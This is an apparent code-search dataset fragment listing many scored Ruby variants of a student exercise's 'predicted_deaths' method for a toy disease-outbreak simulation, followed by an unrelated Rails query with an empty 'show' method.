= (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n # THIS IS INTENTIONAL, SERIOUSLY, YES.\n end", "title": "" }, { "docid": "032b83f59042d345dbf068b09240a105", "score": "0.7637893", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n scalor = 0.4\n elsif @population_density >= 150\n scalor = 0.3\n elsif @population_density >= 100\n scalor = 0.2\n elsif @population_density >= 50\n scalor = 0.1\n else\n scalor = 0.05\n end\n number_of_deaths = (@population * scalor).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "f773e1e5daf5a32bcbb177ebf283e25a", "score": "0.76372236", "text": "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n # Refactored\n number_of_deaths = (@population * 0.05).floor\n pop_counter = 50\n counter = 0.1\n 4.times do \n if @population_density >= pop_counter then number_of_deaths = (@population * counter).floor end\n counter += 0.1\n pop_counter += 50\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "3cc7cb149cc11960b542d425c9c768a7", "score": "0.76314527", "text": "def predicted_deaths#(population_density, population, state)\n\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "9f862eb01a263c711f94e970ab479bfa", "score": "0.7631089", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density < 50\n number_of_deaths = (@population * 0.05).floor\n elsif @population_density > 200\n number_of_deaths = (@population * 0.4).floor\n else\n number_of_deaths = (@population * ((@population_density/50).round * 0.1)).floor\n end\n # BELOW CODE HAS BEEN ATTEMPTED TO BE REFACTORED ABOVE\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "title": "" }, { "docid": "fea336d501cbf68445fb2c57dae5ee44", "score": "0.76279545", "text": "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n float = 0.4\n elsif @population_density >= 150\n float = 0.3\n elsif @population_density >= 100\n float = 0.2\n elsif @population_density >= 50\n float = 0.1\n else\n float = 0.05\n end\n number_of_deaths = (@population * float).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "ddb0adf95c91c46ddbc57e8ac836ace2", "score": "0.76264954", "text": "def predicted_deaths(population_density, population, state)\n# predicted deaths is solely based on population density\nif @population_density >= 200\nnumber_of_deaths = (@population * 0.4).floor\nelsif @population_density >= 150\nnumber_of_deaths = (@population * 0.3).floor\nelsif @population_density >= 100\nnumber_of_deaths = (@population * 0.2).floor\nelsif @population_density >= 50\nnumber_of_deaths = (@population * 0.1).floor\nelse\nnumber_of_deaths = (@population * 0.05).floor\nend\nprint \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\nend", "title": "" }, { "docid": "133e42f824accb1f7a09c23522f9a2f4", "score": "0.7620323", "text": "def predicted_deaths # it predicts how many deaths will happen in a state based population density data.\n # predicted deaths is solely based on population density\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n\n number_of_deaths = (@population * factor).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "575fd0d92fa50ad9aa2a2d704c2361e8", "score": "0.7618087", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths = (@population * density_numbers).floor\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n#summarises results\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "title": "" }, { "docid": "5e43ff038f6cb2a57fc17ebbe8dbfd0a", "score": "0.76178604", "text": "def predicted_deaths # (population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "79b472a478121fbaea449d6387e72d7a", "score": "0.76154375", "text": "def predicted_deaths(population_density, population, state)\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else \n # number_of_deaths = (@population * 0.05).floor\n # end\n case @population_density\n when 0..50\n number_of_deaths = (@population * 0.05).floor\n when 50..100\n number_of_deaths = (@population * 0.1).floor\n when 100.150\n number_of_deaths = (@population * 0.2).floor\n when 150..200\n number_of_deaths = (@population * 0.3).floor\n else\n number_of_deaths = (@population * 0.4).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "83028c7d371101fa0118391163db419f", "score": "0.761279", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n unless @population_density <= 50 \n \tnumber_of_deaths = (@population / 10 * (@population_density/50).floor )\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "fe891e3813e5b687f4a8055795732dd1", "score": "0.7605101", "text": "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n # case\n # when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\n # when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\n # when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\n # when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\n # else number_of_deaths = (@population * 0.05).floor\n # end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "567e7479bdd68d49b66c23389a786fd1", "score": "0.7604864", "text": "def predicted_deaths(population_density, population, state)\n number_of_deaths = 0\n case number_of_deaths\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "title": "" }, { "docid": "7cbdaddabbc862ed1716f130322b33f7", "score": "0.7599163", "text": "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n # elsif @population_density >= 150\r\n elsif @population_density >= 50 && @population_density < 200\r\n number_of_deaths = ((( @population_density / 50 ) / 10 ) * @population).floor \r\n # number_of_deaths = (@population * 0.3).floor\r\n # elsif @population_density >= 100\r\n # number_of_deaths = (@population * 0.2).floor\r\n # elsif @population_density >= 50\r\n # number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "90a9626e8ed4871e835f2d573a4a69e9", "score": "0.7596687", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n\n number_of_deaths = (@population * factor).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "8235fe4780a25e7cb7a2971588c633f5", "score": "0.75951517", "text": "def predicted_deaths(pop_density, population, state)\n # predicted deaths is solely based on population density\n if @pop_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @pop_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @pop_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @pop_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "264bfd6b0de6bac437d5de317f4a3bf5", "score": "0.7594723", "text": "def predicted_deaths(population_density, population)\r\n # predicted deaths is solely based on population density\r\n \r\n deaths = case @population_density\r\n when @population_density >= 200\r\n (@population * 0.4).floor\r\n when @population_density >= 150\r\n (@population * 0.3).floor\r\n when @population_density >= 100\r\n (@population * 0.2).floor\r\n when @population_density >= 50\r\n (@population * 0.1).floor\r\n else (@population * 0.05).floor\r\n end\r\n\r\n puts \"#{@state} will lose #{deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "a96ba160123ca7600234d5dce4a572d9", "score": "0.7589455", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n #.floor is when you're comparing 2 things 1.2.floor will give you 1.\n #returns the largest integer float. rounding down to the \"floor\"\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n #Made number of deaths available to spped of spread to print one entire sentence\n @number_of_deaths = number_of_deaths\n \n\n end", "title": "" }, { "docid": "6e601c7f5ceec52f48cbc8fca0df94bd", "score": "0.7588601", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4)\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3)\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2)\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1)\n else\n number_of_deaths = (@population * 0.05)\n end\n\n number_of_deaths = number_of_deaths.floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "769f09473ab7bcee5c3c70638f2c4d90", "score": "0.7588251", "text": "def predicted_deaths#(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "9f5a70e763e533b3d841ca0c8e6a0c81", "score": "0.75857025", "text": "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n threshold = (@population_density/50).floor\r\n\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population*threshold*0.1).floor\r\n # elsif @population_density >= 150\r\n # number_of_deaths = (@population * 0.3).floor\r\n # elsif @population_density >= 100\r\n # number_of_deaths = (@population * 0.2).floor\r\n # elsif @population_density >= 50\r\n # number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "c2bd42837a1fdabe42dcce08875b06fc", "score": "0.7585059", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n case @population_density\n when @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "330b50f6e6b4517f996eba1acadf74be", "score": "0.75826526", "text": "def predicted_deaths\n\n case @population_density #population_density was not DRY\n\n when @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n when 150..199 then number_of_deaths = (@population * 0.3).floor\n when 100..149 then number_of_deaths = (@population * 0.2).floor\n when 50..99 then number_of_deaths = (@population * 0.1).floor\n else number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "05eb167cba9a4937c731e73f8fccfcce", "score": "0.75809014", "text": "def predicted_deaths\r\n if population_density >= 200\r\n number_of_deaths = (population * 0.4).floor\r\n elsif population_density >= 150\r\n number_of_deaths = (population * 0.3).floor\r\n elsif population_density >= 100\r\n number_of_deaths = (population * 0.2).floor\r\n elsif population_density >= 50\r\n number_of_deaths = (population * 0.1).floor\r\n else\r\n number_of_deaths = (population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "b8b3432e9e763148bce6724d921fcb19", "score": "0.757947", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "b8b3432e9e763148bce6724d921fcb19", "score": "0.757947", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "b8b3432e9e763148bce6724d921fcb19", "score": "0.757947", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "b8b3432e9e763148bce6724d921fcb19", "score": "0.757947", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "b8b3432e9e763148bce6724d921fcb19", "score": "0.757947", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75764155", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "31eff28fb37b2dc55a544636a809cf4e", "score": "0.75756294", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "3893f5bb94ce778d7b4a90fed3797d61", "score": "0.757248", "text": "def predicted_deaths #(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n\r\n number_of_deaths = 0\r\n nums_check = {200 => 0.4, 150 => 0.3, 100 => 0.2, 50 => 0.1}\r\n nums_check.each do |key, value| \r\n if @population_density >= key\r\n number_of_deaths = (@population * value).floor\r\n break\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n end\r\n\r\n\r\n# ORIGINAL \r\n# if @population_density >= 200\r\n# number_of_deaths = (@population * 0.4).floor\r\n# elsif @population_density >= 150\r\n# number_of_deaths = (@population * 0.3).floor\r\n# elsif @population_density >= 100\r\n# number_of_deaths = (@population * 0.2).floor\r\n# elsif @population_density >= 50\r\n# number_of_deaths = (@population * 0.1).floor\r\n# else\r\n# number_of_deaths = (@population * 0.05).floor\r\n# end\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "9a9bd5be6366105230236a9f4d212906", "score": "0.7567594", "text": "def predicted_deaths # predicted deaths is solely based on population density\n case @population_density\n when @population_density >= 200 then rate = 0.4\n when @population_density >= 150 then rate = 0.3\n when @population_density >= 100 then rate = 0.2\n when @population_density >= 50 then rate = 0.1\n else\n rate = 0.05\n end\n number_of_deaths = (@population * rate).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "dddf52f441db46d2d84051121bfe11af", "score": "0.75673276", "text": "def predicted_deaths(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "fc392d3316636ef49f8bdda2ccd33bc9", "score": "0.75664127", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people\"\n\n end", "title": "" }, { "docid": "b1ac59fc6de1bd2037105322e67f8db9", "score": "0.7563823", "text": "def predicted_deaths(population_density, population, state) #this method is predicting how many deaths each state will have based on population density and population.\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "b34173163355d91b19b82395cc889c66", "score": "0.75617063", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n print_num_deaths(number_of_deaths)\n \n end", "title": "" } ]
914591ac8b42b5999f06a29a2f91923f
GET /yamato_logistic_order_templates/1 GET /yamato_logistic_order_templates/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
